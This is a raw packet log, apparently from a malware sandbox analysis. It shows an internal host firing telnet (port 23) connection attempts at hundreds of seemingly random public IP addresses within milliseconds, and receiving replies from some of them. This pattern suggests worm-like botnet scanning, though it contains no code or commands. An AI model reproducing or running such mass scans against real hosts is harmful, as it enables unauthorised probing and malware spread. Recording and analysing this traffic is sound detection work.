Jan 30, 2025 10:43:04.107481003 CET	63367	23	192.168.2.14	155.195.100.200
Jan 30, 2025 10:43:04.107481003 CET	63367	23	192.168.2.14	164.211.186.185
Jan 30, 2025 10:43:04.107492924 CET	63367	23	192.168.2.14	148.250.29.33
Jan 30, 2025 10:43:04.107492924 CET	63367	23	192.168.2.14	132.190.88.167
Jan 30, 2025 10:43:04.107492924 CET	63367	23	192.168.2.14	101.156.131.124
Jan 30, 2025 10:43:04.107503891 CET	63367	23	192.168.2.14	38.172.205.8
Jan 30, 2025 10:43:04.107503891 CET	63367	23	192.168.2.14	221.144.195.27
Jan 30, 2025 10:43:04.107511044 CET	63367	23	192.168.2.14	167.128.151.136
Jan 30, 2025 10:43:04.107527018 CET	63367	23	192.168.2.14	32.57.218.128
Jan 30, 2025 10:43:04.107527018 CET	63367	23	192.168.2.14	118.132.11.151
Jan 30, 2025 10:43:04.107538939 CET	63367	23	192.168.2.14	1.51.222.228
Jan 30, 2025 10:43:04.107549906 CET	63367	23	192.168.2.14	163.208.105.161
Jan 30, 2025 10:43:04.107549906 CET	63367	23	192.168.2.14	142.19.17.252
Jan 30, 2025 10:43:04.107553005 CET	63367	23	192.168.2.14	211.17.142.225
Jan 30, 2025 10:43:04.107553959 CET	63367	23	192.168.2.14	170.63.241.23
Jan 30, 2025 10:43:04.107558966 CET	63367	23	192.168.2.14	128.146.145.114
Jan 30, 2025 10:43:04.107558966 CET	63367	23	192.168.2.14	138.114.52.225
Jan 30, 2025 10:43:04.107569933 CET	63367	23	192.168.2.14	8.239.15.216
Jan 30, 2025 10:43:04.107569933 CET	63367	23	192.168.2.14	158.163.143.53
Jan 30, 2025 10:43:04.107572079 CET	63367	23	192.168.2.14	40.200.217.142
Jan 30, 2025 10:43:04.107577085 CET	63367	23	192.168.2.14	108.123.158.213
Jan 30, 2025 10:43:04.107583046 CET	63367	23	192.168.2.14	165.134.110.229
Jan 30, 2025 10:43:04.107589960 CET	63367	23	192.168.2.14	109.9.38.139
Jan 30, 2025 10:43:04.107594967 CET	63367	23	192.168.2.14	115.185.23.115
Jan 30, 2025 10:43:04.107599020 CET	63367	23	192.168.2.14	140.178.66.101
Jan 30, 2025 10:43:04.107606888 CET	63367	23	192.168.2.14	191.90.4.163
Jan 30, 2025 10:43:04.107619047 CET	63367	23	192.168.2.14	111.89.251.112
Jan 30, 2025 10:43:04.107625008 CET	63367	23	192.168.2.14	195.77.183.177
Jan 30, 2025 10:43:04.107630968 CET	63367	23	192.168.2.14	128.110.170.26
Jan 30, 2025 10:43:04.107633114 CET	63367	23	192.168.2.14	69.9.113.96
Jan 30, 2025 10:43:04.107642889 CET	63367	23	192.168.2.14	2.103.169.23
Jan 30, 2025 10:43:04.107644081 CET	63367	23	192.168.2.14	167.32.255.32
Jan 30, 2025 10:43:04.107650995 CET	63367	23	192.168.2.14	189.104.39.76
Jan 30, 2025 10:43:04.107650995 CET	63367	23	192.168.2.14	111.43.167.229
Jan 30, 2025 10:43:04.107651949 CET	63367	23	192.168.2.14	192.238.180.144
Jan 30, 2025 10:43:04.107660055 CET	63367	23	192.168.2.14	140.143.21.51
Jan 30, 2025 10:43:04.107673883 CET	63367	23	192.168.2.14	201.167.203.210
Jan 30, 2025 10:43:04.107673883 CET	63367	23	192.168.2.14	99.75.120.214
Jan 30, 2025 10:43:04.107673883 CET	63367	23	192.168.2.14	31.251.65.11
Jan 30, 2025 10:43:04.107682943 CET	63367	23	192.168.2.14	19.170.20.217
Jan 30, 2025 10:43:04.107693911 CET	63367	23	192.168.2.14	31.69.54.190
Jan 30, 2025 10:43:04.107698917 CET	63367	23	192.168.2.14	189.25.27.225
Jan 30, 2025 10:43:04.107706070 CET	63367	23	192.168.2.14	45.153.221.89
Jan 30, 2025 10:43:04.107712030 CET	63367	23	192.168.2.14	160.242.4.154
Jan 30, 2025 10:43:04.107714891 CET	63367	23	192.168.2.14	14.101.168.211
Jan 30, 2025 10:43:04.107716084 CET	63367	23	192.168.2.14	173.232.250.160
Jan 30, 2025 10:43:04.107723951 CET	63367	23	192.168.2.14	24.182.242.13
Jan 30, 2025 10:43:04.107731104 CET	63367	23	192.168.2.14	65.131.32.211
Jan 30, 2025 10:43:04.107731104 CET	63367	23	192.168.2.14	155.190.54.236
Jan 30, 2025 10:43:04.107743025 CET	63367	23	192.168.2.14	125.232.77.190
Jan 30, 2025 10:43:04.107753038 CET	63367	23	192.168.2.14	142.71.148.25
Jan 30, 2025 10:43:04.107759953 CET	63367	23	192.168.2.14	65.163.222.157
Jan 30, 2025 10:43:04.107769966 CET	63367	23	192.168.2.14	80.77.216.53
Jan 30, 2025 10:43:04.107772112 CET	63367	23	192.168.2.14	194.123.30.18
Jan 30, 2025 10:43:04.107774019 CET	63367	23	192.168.2.14	201.98.147.180
Jan 30, 2025 10:43:04.107774019 CET	63367	23	192.168.2.14	60.121.122.62
Jan 30, 2025 10:43:04.107789993 CET	63367	23	192.168.2.14	53.66.222.69
Jan 30, 2025 10:43:04.107794046 CET	63367	23	192.168.2.14	14.157.185.75
Jan 30, 2025 10:43:04.107794046 CET	63367	23	192.168.2.14	13.197.190.40
Jan 30, 2025 10:43:04.107795954 CET	63367	23	192.168.2.14	138.245.4.104
Jan 30, 2025 10:43:04.107810020 CET	63367	23	192.168.2.14	77.227.97.214
Jan 30, 2025 10:43:04.107810020 CET	63367	23	192.168.2.14	98.46.100.157
Jan 30, 2025 10:43:04.107812881 CET	63367	23	192.168.2.14	24.206.197.2
Jan 30, 2025 10:43:04.107817888 CET	63367	23	192.168.2.14	57.42.165.117
Jan 30, 2025 10:43:04.107821941 CET	63367	23	192.168.2.14	38.118.85.83
Jan 30, 2025 10:43:04.107822895 CET	63367	23	192.168.2.14	102.250.85.86
Jan 30, 2025 10:43:04.107822895 CET	63367	23	192.168.2.14	51.233.193.178
Jan 30, 2025 10:43:04.107829094 CET	63367	23	192.168.2.14	140.66.20.3
Jan 30, 2025 10:43:04.107831001 CET	63367	23	192.168.2.14	150.93.174.134
Jan 30, 2025 10:43:04.107837915 CET	63367	23	192.168.2.14	102.184.218.132
Jan 30, 2025 10:43:04.107844114 CET	63367	23	192.168.2.14	135.60.214.68
Jan 30, 2025 10:43:04.107851028 CET	63367	23	192.168.2.14	188.58.176.245
Jan 30, 2025 10:43:04.107857943 CET	63367	23	192.168.2.14	117.60.63.72
Jan 30, 2025 10:43:04.107858896 CET	63367	23	192.168.2.14	37.94.73.93
Jan 30, 2025 10:43:04.107866049 CET	63367	23	192.168.2.14	35.79.40.132
Jan 30, 2025 10:43:04.107877016 CET	63367	23	192.168.2.14	104.48.7.125
Jan 30, 2025 10:43:04.107878923 CET	63367	23	192.168.2.14	121.175.32.20
Jan 30, 2025 10:43:04.107880116 CET	63367	23	192.168.2.14	219.107.29.207
Jan 30, 2025 10:43:04.107894897 CET	63367	23	192.168.2.14	45.199.222.169
Jan 30, 2025 10:43:04.107897997 CET	63367	23	192.168.2.14	201.236.218.214
Jan 30, 2025 10:43:04.107899904 CET	63367	23	192.168.2.14	81.147.27.171
Jan 30, 2025 10:43:04.107899904 CET	63367	23	192.168.2.14	24.102.42.90
Jan 30, 2025 10:43:04.107899904 CET	63367	23	192.168.2.14	66.93.181.104
Jan 30, 2025 10:43:04.107912064 CET	63367	23	192.168.2.14	212.240.124.199
Jan 30, 2025 10:43:04.107918024 CET	63367	23	192.168.2.14	95.21.81.38
Jan 30, 2025 10:43:04.107934952 CET	63367	23	192.168.2.14	57.150.115.12
Jan 30, 2025 10:43:04.107939959 CET	63367	23	192.168.2.14	181.251.185.107
Jan 30, 2025 10:43:04.107942104 CET	63367	23	192.168.2.14	37.65.62.152
Jan 30, 2025 10:43:04.107942104 CET	63367	23	192.168.2.14	168.122.31.75
Jan 30, 2025 10:43:04.107955933 CET	63367	23	192.168.2.14	119.251.161.73
Jan 30, 2025 10:43:04.107958078 CET	63367	23	192.168.2.14	179.200.105.109
Jan 30, 2025 10:43:04.107959032 CET	63367	23	192.168.2.14	9.98.35.183
Jan 30, 2025 10:43:04.107959032 CET	63367	23	192.168.2.14	149.86.178.18
Jan 30, 2025 10:43:04.107968092 CET	63367	23	192.168.2.14	105.28.150.2
Jan 30, 2025 10:43:04.107968092 CET	63367	23	192.168.2.14	147.136.113.86
Jan 30, 2025 10:43:04.107970953 CET	63367	23	192.168.2.14	172.239.1.225
Jan 30, 2025 10:43:04.107978106 CET	63367	23	192.168.2.14	162.30.5.54
Jan 30, 2025 10:43:04.107991934 CET	63367	23	192.168.2.14	90.179.199.35
Jan 30, 2025 10:43:04.107991934 CET	63367	23	192.168.2.14	23.177.234.112
Jan 30, 2025 10:43:04.107994080 CET	63367	23	192.168.2.14	20.122.22.9
Jan 30, 2025 10:43:04.108004093 CET	63367	23	192.168.2.14	216.132.212.221
Jan 30, 2025 10:43:04.108004093 CET	63367	23	192.168.2.14	60.23.189.17
Jan 30, 2025 10:43:04.108005047 CET	63367	23	192.168.2.14	52.174.130.121
Jan 30, 2025 10:43:04.108005047 CET	63367	23	192.168.2.14	218.133.223.53
Jan 30, 2025 10:43:04.108017921 CET	63367	23	192.168.2.14	189.200.205.1
Jan 30, 2025 10:43:04.108019114 CET	63367	23	192.168.2.14	180.121.231.193
Jan 30, 2025 10:43:04.108026981 CET	63367	23	192.168.2.14	184.14.179.219
Jan 30, 2025 10:43:04.108036995 CET	63367	23	192.168.2.14	218.241.194.203
Jan 30, 2025 10:43:04.108040094 CET	63367	23	192.168.2.14	90.119.130.98
Jan 30, 2025 10:43:04.108040094 CET	63367	23	192.168.2.14	187.207.239.105
Jan 30, 2025 10:43:04.108041048 CET	63367	23	192.168.2.14	207.186.30.234
Jan 30, 2025 10:43:04.108041048 CET	63367	23	192.168.2.14	48.251.27.206
Jan 30, 2025 10:43:04.108042955 CET	63367	23	192.168.2.14	184.237.75.28
Jan 30, 2025 10:43:04.108062029 CET	63367	23	192.168.2.14	146.196.145.188
Jan 30, 2025 10:43:04.108063936 CET	63367	23	192.168.2.14	125.161.21.104
Jan 30, 2025 10:43:04.108067036 CET	63367	23	192.168.2.14	117.214.30.135
Jan 30, 2025 10:43:04.108079910 CET	63367	23	192.168.2.14	18.48.128.92
Jan 30, 2025 10:43:04.108079910 CET	63367	23	192.168.2.14	223.15.153.8
Jan 30, 2025 10:43:04.108093023 CET	63367	23	192.168.2.14	151.214.67.130
Jan 30, 2025 10:43:04.108099937 CET	63367	23	192.168.2.14	87.204.243.157
Jan 30, 2025 10:43:04.108104944 CET	63367	23	192.168.2.14	199.216.107.50
Jan 30, 2025 10:43:04.108104944 CET	63367	23	192.168.2.14	99.213.168.50
Jan 30, 2025 10:43:04.108113050 CET	63367	23	192.168.2.14	38.57.91.158
Jan 30, 2025 10:43:04.108119011 CET	63367	23	192.168.2.14	1.118.167.248
Jan 30, 2025 10:43:04.108129978 CET	63367	23	192.168.2.14	62.91.237.166
Jan 30, 2025 10:43:04.108134031 CET	63367	23	192.168.2.14	78.209.186.232
Jan 30, 2025 10:43:04.108139992 CET	63367	23	192.168.2.14	126.255.188.3
Jan 30, 2025 10:43:04.108144999 CET	63367	23	192.168.2.14	75.188.104.99
Jan 30, 2025 10:43:04.108155012 CET	63367	23	192.168.2.14	212.4.171.107
Jan 30, 2025 10:43:04.108158112 CET	63367	23	192.168.2.14	146.87.61.33
Jan 30, 2025 10:43:04.108160973 CET	63367	23	192.168.2.14	126.248.172.223
Jan 30, 2025 10:43:04.108171940 CET	63367	23	192.168.2.14	25.120.59.224
Jan 30, 2025 10:43:04.108175039 CET	63367	23	192.168.2.14	165.72.199.230
Jan 30, 2025 10:43:04.108180046 CET	63367	23	192.168.2.14	201.242.156.250
Jan 30, 2025 10:43:04.108189106 CET	63367	23	192.168.2.14	62.163.13.30
Jan 30, 2025 10:43:04.108195066 CET	63367	23	192.168.2.14	113.184.104.39
Jan 30, 2025 10:43:04.108202934 CET	63367	23	192.168.2.14	100.187.201.12
Jan 30, 2025 10:43:04.108211040 CET	63367	23	192.168.2.14	87.90.199.172
Jan 30, 2025 10:43:04.108211040 CET	63367	23	192.168.2.14	64.240.173.229
Jan 30, 2025 10:43:04.108232021 CET	63367	23	192.168.2.14	76.184.94.203
Jan 30, 2025 10:43:04.108232021 CET	63367	23	192.168.2.14	34.110.209.159
Jan 30, 2025 10:43:04.108232975 CET	63367	23	192.168.2.14	73.151.59.22
Jan 30, 2025 10:43:04.108239889 CET	63367	23	192.168.2.14	61.211.186.23
Jan 30, 2025 10:43:04.108242035 CET	63367	23	192.168.2.14	148.145.100.135
Jan 30, 2025 10:43:04.108253956 CET	63367	23	192.168.2.14	202.118.223.232
Jan 30, 2025 10:43:04.108263016 CET	63367	23	192.168.2.14	49.219.205.48
Jan 30, 2025 10:43:04.108264923 CET	63367	23	192.168.2.14	111.113.233.137
Jan 30, 2025 10:43:04.108272076 CET	63367	23	192.168.2.14	219.13.20.248
Jan 30, 2025 10:43:04.108273983 CET	63367	23	192.168.2.14	182.62.74.57
Jan 30, 2025 10:43:04.108289957 CET	63367	23	192.168.2.14	5.128.29.228
Jan 30, 2025 10:43:04.108289957 CET	63367	23	192.168.2.14	155.76.14.244
Jan 30, 2025 10:43:04.108293056 CET	63367	23	192.168.2.14	99.114.14.53
Jan 30, 2025 10:43:04.108293056 CET	63367	23	192.168.2.14	58.85.248.72
Jan 30, 2025 10:43:04.108293056 CET	63367	23	192.168.2.14	32.76.103.169
Jan 30, 2025 10:43:04.108319998 CET	63367	23	192.168.2.14	142.194.237.209
Jan 30, 2025 10:43:04.108320951 CET	63367	23	192.168.2.14	41.250.180.230
Jan 30, 2025 10:43:04.108325958 CET	63367	23	192.168.2.14	129.0.146.40
Jan 30, 2025 10:43:04.108326912 CET	63367	23	192.168.2.14	32.153.75.242
Jan 30, 2025 10:43:04.108325958 CET	63367	23	192.168.2.14	132.8.31.246
Jan 30, 2025 10:43:04.108329058 CET	63367	23	192.168.2.14	180.35.138.237
Jan 30, 2025 10:43:04.108330011 CET	63367	23	192.168.2.14	131.23.151.123
Jan 30, 2025 10:43:04.108330011 CET	63367	23	192.168.2.14	166.48.200.149
Jan 30, 2025 10:43:04.108340025 CET	63367	23	192.168.2.14	24.113.158.28
Jan 30, 2025 10:43:04.108340025 CET	63367	23	192.168.2.14	25.133.60.218
Jan 30, 2025 10:43:04.108340025 CET	63367	23	192.168.2.14	117.61.36.122
Jan 30, 2025 10:43:04.108342886 CET	63367	23	192.168.2.14	38.183.147.186
Jan 30, 2025 10:43:04.108354092 CET	63367	23	192.168.2.14	168.64.9.221
Jan 30, 2025 10:43:04.108359098 CET	63367	23	192.168.2.14	108.168.40.158
Jan 30, 2025 10:43:04.108359098 CET	63367	23	192.168.2.14	43.219.59.103
Jan 30, 2025 10:43:04.108369112 CET	63367	23	192.168.2.14	201.195.131.40
Jan 30, 2025 10:43:04.108376980 CET	63367	23	192.168.2.14	106.74.79.133
Jan 30, 2025 10:43:04.108381033 CET	63367	23	192.168.2.14	192.210.63.25
Jan 30, 2025 10:43:04.108396053 CET	63367	23	192.168.2.14	54.212.103.46
Jan 30, 2025 10:43:04.108398914 CET	63367	23	192.168.2.14	195.121.56.88
Jan 30, 2025 10:43:04.108400106 CET	63367	23	192.168.2.14	121.122.222.191
Jan 30, 2025 10:43:04.108403921 CET	63367	23	192.168.2.14	200.32.236.194
Jan 30, 2025 10:43:04.108412981 CET	63367	23	192.168.2.14	4.189.155.76
Jan 30, 2025 10:43:04.108416080 CET	63367	23	192.168.2.14	83.241.228.169
Jan 30, 2025 10:43:04.108421087 CET	63367	23	192.168.2.14	173.227.115.218
Jan 30, 2025 10:43:04.108422041 CET	63367	23	192.168.2.14	117.124.110.70
Jan 30, 2025 10:43:04.108431101 CET	63367	23	192.168.2.14	212.242.70.192
Jan 30, 2025 10:43:04.108434916 CET	63367	23	192.168.2.14	166.19.99.163
Jan 30, 2025 10:43:04.108438969 CET	63367	23	192.168.2.14	117.64.90.146
Jan 30, 2025 10:43:04.108438969 CET	63367	23	192.168.2.14	158.98.108.24
Jan 30, 2025 10:43:04.108449936 CET	63367	23	192.168.2.14	169.86.107.40
Jan 30, 2025 10:43:04.108449936 CET	63367	23	192.168.2.14	83.136.244.189
Jan 30, 2025 10:43:04.108449936 CET	63367	23	192.168.2.14	31.78.132.48
Jan 30, 2025 10:43:04.108452082 CET	63367	23	192.168.2.14	4.182.117.84
Jan 30, 2025 10:43:04.108469963 CET	63367	23	192.168.2.14	109.5.138.64
Jan 30, 2025 10:43:04.108469963 CET	63367	23	192.168.2.14	75.169.62.36
Jan 30, 2025 10:43:04.108479023 CET	63367	23	192.168.2.14	193.102.191.4
Jan 30, 2025 10:43:04.108483076 CET	63367	23	192.168.2.14	115.218.217.31
Jan 30, 2025 10:43:04.108484030 CET	63367	23	192.168.2.14	220.162.57.124
Jan 30, 2025 10:43:04.108488083 CET	63367	23	192.168.2.14	53.236.68.52
Jan 30, 2025 10:43:04.108491898 CET	63367	23	192.168.2.14	17.213.130.129
Jan 30, 2025 10:43:04.108494043 CET	63367	23	192.168.2.14	217.249.120.63
Jan 30, 2025 10:43:04.108499050 CET	63367	23	192.168.2.14	94.52.208.249
Jan 30, 2025 10:43:04.108499050 CET	63367	23	192.168.2.14	136.134.234.231
Jan 30, 2025 10:43:04.108505964 CET	63367	23	192.168.2.14	137.33.87.45
Jan 30, 2025 10:43:04.108515978 CET	63367	23	192.168.2.14	198.48.39.162
Jan 30, 2025 10:43:04.108515978 CET	63367	23	192.168.2.14	60.171.81.104
Jan 30, 2025 10:43:04.108519077 CET	63367	23	192.168.2.14	36.222.109.30
Jan 30, 2025 10:43:04.108532906 CET	63367	23	192.168.2.14	153.82.127.80
Jan 30, 2025 10:43:04.108532906 CET	63367	23	192.168.2.14	105.56.196.107
Jan 30, 2025 10:43:04.108536005 CET	63367	23	192.168.2.14	107.76.14.62
Jan 30, 2025 10:43:04.108536005 CET	63367	23	192.168.2.14	196.220.99.120
Jan 30, 2025 10:43:04.108547926 CET	63367	23	192.168.2.14	122.56.202.217
Jan 30, 2025 10:43:04.108557940 CET	63367	23	192.168.2.14	101.37.83.158
Jan 30, 2025 10:43:04.108560085 CET	63367	23	192.168.2.14	25.123.20.191
Jan 30, 2025 10:43:04.108563900 CET	63367	23	192.168.2.14	123.176.187.194
Jan 30, 2025 10:43:04.108570099 CET	63367	23	192.168.2.14	129.254.134.69
Jan 30, 2025 10:43:04.108578920 CET	63367	23	192.168.2.14	197.30.107.185
Jan 30, 2025 10:43:04.108592033 CET	63367	23	192.168.2.14	140.3.128.38
Jan 30, 2025 10:43:04.108592987 CET	63367	23	192.168.2.14	107.109.145.86
Jan 30, 2025 10:43:04.108592987 CET	63367	23	192.168.2.14	49.74.85.223
Jan 30, 2025 10:43:04.108592987 CET	63367	23	192.168.2.14	73.142.164.3
Jan 30, 2025 10:43:04.108601093 CET	63367	23	192.168.2.14	167.62.160.93
Jan 30, 2025 10:43:04.108613968 CET	63367	23	192.168.2.14	114.185.214.66
Jan 30, 2025 10:43:04.108617067 CET	63367	23	192.168.2.14	90.215.135.172
Jan 30, 2025 10:43:04.108632088 CET	63367	23	192.168.2.14	164.86.134.215
Jan 30, 2025 10:43:04.108633041 CET	63367	23	192.168.2.14	108.249.139.208
Jan 30, 2025 10:43:04.108633995 CET	63367	23	192.168.2.14	168.204.18.172
Jan 30, 2025 10:43:04.108637094 CET	63367	23	192.168.2.14	176.217.233.142
Jan 30, 2025 10:43:04.108637094 CET	63367	23	192.168.2.14	134.156.98.55
Jan 30, 2025 10:43:04.108639956 CET	63367	23	192.168.2.14	176.83.225.177
Jan 30, 2025 10:43:04.108643055 CET	63367	23	192.168.2.14	18.5.17.64
Jan 30, 2025 10:43:04.108643055 CET	63367	23	192.168.2.14	46.91.234.23
Jan 30, 2025 10:43:04.108649015 CET	63367	23	192.168.2.14	64.191.157.211
Jan 30, 2025 10:43:04.108652115 CET	63367	23	192.168.2.14	97.240.93.20
Jan 30, 2025 10:43:04.108666897 CET	63367	23	192.168.2.14	189.150.28.246
Jan 30, 2025 10:43:04.108668089 CET	63367	23	192.168.2.14	209.207.213.252
Jan 30, 2025 10:43:04.108668089 CET	63367	23	192.168.2.14	14.189.126.212
Jan 30, 2025 10:43:04.108679056 CET	63367	23	192.168.2.14	13.105.42.73
Jan 30, 2025 10:43:04.108679056 CET	63367	23	192.168.2.14	182.160.37.133
Jan 30, 2025 10:43:04.108686924 CET	63367	23	192.168.2.14	17.217.55.23
Jan 30, 2025 10:43:04.108692884 CET	63367	23	192.168.2.14	223.77.131.252
Jan 30, 2025 10:43:04.108695984 CET	63367	23	192.168.2.14	171.200.89.62
Jan 30, 2025 10:43:04.108702898 CET	63367	23	192.168.2.14	65.123.30.90
Jan 30, 2025 10:43:04.108716965 CET	63367	23	192.168.2.14	168.89.61.80
Jan 30, 2025 10:43:04.108716965 CET	63367	23	192.168.2.14	101.105.6.194
Jan 30, 2025 10:43:04.108721972 CET	63367	23	192.168.2.14	168.187.174.249
Jan 30, 2025 10:43:04.108731985 CET	63367	23	192.168.2.14	57.181.165.77
Jan 30, 2025 10:43:04.108757019 CET	63367	23	192.168.2.14	115.99.20.254
Jan 30, 2025 10:43:04.108757019 CET	63367	23	192.168.2.14	107.1.78.89
Jan 30, 2025 10:43:04.108761072 CET	63367	23	192.168.2.14	65.143.55.21
Jan 30, 2025 10:43:04.108761072 CET	63367	23	192.168.2.14	181.145.236.113
Jan 30, 2025 10:43:04.108761072 CET	63367	23	192.168.2.14	53.23.8.172
Jan 30, 2025 10:43:04.108772039 CET	63367	23	192.168.2.14	199.27.143.22
Jan 30, 2025 10:43:04.108772993 CET	63367	23	192.168.2.14	44.5.110.254
Jan 30, 2025 10:43:04.108773947 CET	63367	23	192.168.2.14	70.17.98.147
Jan 30, 2025 10:43:04.108772039 CET	63367	23	192.168.2.14	149.83.82.16
Jan 30, 2025 10:43:04.108772993 CET	63367	23	192.168.2.14	189.138.88.8
Jan 30, 2025 10:43:04.108773947 CET	63367	23	192.168.2.14	84.142.206.221
Jan 30, 2025 10:43:04.108772039 CET	63367	23	192.168.2.14	160.49.42.57
Jan 30, 2025 10:43:04.108773947 CET	63367	23	192.168.2.14	57.235.123.131
Jan 30, 2025 10:43:04.108773947 CET	63367	23	192.168.2.14	138.65.26.78
Jan 30, 2025 10:43:04.108772039 CET	63367	23	192.168.2.14	188.141.38.196
Jan 30, 2025 10:43:04.108772993 CET	63367	23	192.168.2.14	85.180.99.37
Jan 30, 2025 10:43:04.108773947 CET	63367	23	192.168.2.14	80.166.163.203
Jan 30, 2025 10:43:04.108773947 CET	63367	23	192.168.2.14	189.119.107.103
Jan 30, 2025 10:43:04.108773947 CET	63367	23	192.168.2.14	175.253.25.61
Jan 30, 2025 10:43:04.110637903 CET	23	47348	153.215.19.51	192.168.2.14
Jan 30, 2025 10:43:04.111119986 CET	23	47980	153.215.19.51	192.168.2.14
Jan 30, 2025 10:43:04.111186981 CET	47980	23	192.168.2.14	153.215.19.51
Jan 30, 2025 10:43:04.111529112 CET	23	63367	194.204.74.57	192.168.2.14
Jan 30, 2025 10:43:04.111593962 CET	63367	23	192.168.2.14	194.204.74.57
Jan 30, 2025 10:43:04.111666918 CET	23	63367	160.170.69.1	192.168.2.14
Jan 30, 2025 10:43:04.111677885 CET	23	63367	166.149.172.215	192.168.2.14
Jan 30, 2025 10:43:04.111687899 CET	23	63367	182.172.56.137	192.168.2.14
Jan 30, 2025 10:43:04.111696959 CET	23	63367	145.242.183.68	192.168.2.14
Jan 30, 2025 10:43:04.111709118 CET	23	63367	46.78.153.7	192.168.2.14
Jan 30, 2025 10:43:04.111711025 CET	63367	23	192.168.2.14	160.170.69.1
Jan 30, 2025 10:43:04.111716986 CET	63367	23	192.168.2.14	182.172.56.137
Jan 30, 2025 10:43:04.111728907 CET	23	63367	40.158.134.20	192.168.2.14
Jan 30, 2025 10:43:04.111730099 CET	63367	23	192.168.2.14	166.149.172.215
Jan 30, 2025 10:43:04.111737967 CET	63367	23	192.168.2.14	145.242.183.68
Jan 30, 2025 10:43:04.111747026 CET	23	63367	152.18.154.94	192.168.2.14
Jan 30, 2025 10:43:04.111749887 CET	63367	23	192.168.2.14	46.78.153.7
Jan 30, 2025 10:43:04.111757040 CET	23	63367	92.93.5.46	192.168.2.14
Jan 30, 2025 10:43:04.111771107 CET	23	63367	53.40.60.197	192.168.2.14
Jan 30, 2025 10:43:04.111776114 CET	63367	23	192.168.2.14	40.158.134.20
Jan 30, 2025 10:43:04.111789942 CET	63367	23	192.168.2.14	92.93.5.46
Jan 30, 2025 10:43:04.111795902 CET	63367	23	192.168.2.14	152.18.154.94
Jan 30, 2025 10:43:04.111807108 CET	63367	23	192.168.2.14	53.40.60.197
Jan 30, 2025 10:43:04.112104893 CET	23	63367	115.135.125.0	192.168.2.14
Jan 30, 2025 10:43:04.112116098 CET	23	63367	76.229.159.132	192.168.2.14
Jan 30, 2025 10:43:04.112124920 CET	23	63367	109.167.158.94	192.168.2.14
Jan 30, 2025 10:43:04.112135887 CET	23	63367	89.128.8.105	192.168.2.14
Jan 30, 2025 10:43:04.112149000 CET	63367	23	192.168.2.14	115.135.125.0
Jan 30, 2025 10:43:04.112160921 CET	63367	23	192.168.2.14	109.167.158.94
Jan 30, 2025 10:43:04.112162113 CET	63367	23	192.168.2.14	76.229.159.132
Jan 30, 2025 10:43:04.112189054 CET	63367	23	192.168.2.14	89.128.8.105
Jan 30, 2025 10:43:04.112262011 CET	23	63367	167.150.199.141	192.168.2.14
Jan 30, 2025 10:43:04.112272978 CET	23	63367	42.132.55.235	192.168.2.14
Jan 30, 2025 10:43:04.112282038 CET	23	63367	122.130.51.98	192.168.2.14
Jan 30, 2025 10:43:04.112287998 CET	23	63367	59.40.143.116	192.168.2.14
Jan 30, 2025 10:43:04.112297058 CET	23	63367	25.196.210.32	192.168.2.14
Jan 30, 2025 10:43:04.112298965 CET	63367	23	192.168.2.14	167.150.199.141
Jan 30, 2025 10:43:04.112309933 CET	23	63367	217.216.137.85	192.168.2.14
Jan 30, 2025 10:43:04.112310886 CET	63367	23	192.168.2.14	122.130.51.98
Jan 30, 2025 10:43:04.112313986 CET	63367	23	192.168.2.14	59.40.143.116
Jan 30, 2025 10:43:04.112318993 CET	63367	23	192.168.2.14	42.132.55.235
Jan 30, 2025 10:43:04.112324953 CET	23	63367	181.220.246.52	192.168.2.14
Jan 30, 2025 10:43:04.112329960 CET	63367	23	192.168.2.14	25.196.210.32
Jan 30, 2025 10:43:04.112335920 CET	23	63367	50.145.61.31	192.168.2.14
Jan 30, 2025 10:43:04.112351894 CET	63367	23	192.168.2.14	217.216.137.85
Jan 30, 2025 10:43:04.112356901 CET	23	63367	9.114.26.45	192.168.2.14
Jan 30, 2025 10:43:04.112364054 CET	63367	23	192.168.2.14	50.145.61.31
Jan 30, 2025 10:43:04.112368107 CET	63367	23	192.168.2.14	181.220.246.52
Jan 30, 2025 10:43:04.112368107 CET	23	63367	88.157.184.149	192.168.2.14
Jan 30, 2025 10:43:04.112385035 CET	23	63367	155.235.139.215	192.168.2.14
Jan 30, 2025 10:43:04.112401009 CET	63367	23	192.168.2.14	88.157.184.149
Jan 30, 2025 10:43:04.112400055 CET	63367	23	192.168.2.14	9.114.26.45
Jan 30, 2025 10:43:04.112409115 CET	23	63367	113.236.191.249	192.168.2.14
Jan 30, 2025 10:43:04.112415075 CET	63367	23	192.168.2.14	155.235.139.215
Jan 30, 2025 10:43:04.112420082 CET	23	63367	80.139.229.205	192.168.2.14
Jan 30, 2025 10:43:04.112431049 CET	23	63367	69.253.158.61	192.168.2.14
Jan 30, 2025 10:43:04.112442017 CET	23	63367	161.74.220.8	192.168.2.14
Jan 30, 2025 10:43:04.112447023 CET	23	63367	79.85.13.8	192.168.2.14
Jan 30, 2025 10:43:04.112451077 CET	23	63367	188.250.68.148	192.168.2.14
Jan 30, 2025 10:43:04.112456083 CET	63367	23	192.168.2.14	113.236.191.249
Jan 30, 2025 10:43:04.112456083 CET	63367	23	192.168.2.14	80.139.229.205
Jan 30, 2025 10:43:04.112461090 CET	23	63367	212.193.142.118	192.168.2.14
Jan 30, 2025 10:43:04.112466097 CET	23	63367	139.153.193.186	192.168.2.14
Jan 30, 2025 10:43:04.112471104 CET	23	63367	74.185.122.159	192.168.2.14
Jan 30, 2025 10:43:04.112474918 CET	23	63367	81.36.34.134	192.168.2.14
Jan 30, 2025 10:43:04.112485886 CET	23	63367	72.10.177.30	192.168.2.14
Jan 30, 2025 10:43:04.112485886 CET	63367	23	192.168.2.14	69.253.158.61
Jan 30, 2025 10:43:04.112485886 CET	63367	23	192.168.2.14	161.74.220.8
Jan 30, 2025 10:43:04.112498045 CET	23	63367	223.222.19.119	192.168.2.14
Jan 30, 2025 10:43:04.112504005 CET	63367	23	192.168.2.14	81.36.34.134
Jan 30, 2025 10:43:04.112505913 CET	63367	23	192.168.2.14	79.85.13.8
Jan 30, 2025 10:43:04.112508059 CET	23	63367	17.159.214.105	192.168.2.14
Jan 30, 2025 10:43:04.112514019 CET	63367	23	192.168.2.14	212.193.142.118
Jan 30, 2025 10:43:04.112514019 CET	63367	23	192.168.2.14	188.250.68.148
Jan 30, 2025 10:43:04.112518072 CET	63367	23	192.168.2.14	139.153.193.186
Jan 30, 2025 10:43:04.112518072 CET	63367	23	192.168.2.14	74.185.122.159
Jan 30, 2025 10:43:04.112519979 CET	63367	23	192.168.2.14	72.10.177.30
Jan 30, 2025 10:43:04.112529039 CET	63367	23	192.168.2.14	223.222.19.119
Jan 30, 2025 10:43:04.112546921 CET	63367	23	192.168.2.14	17.159.214.105
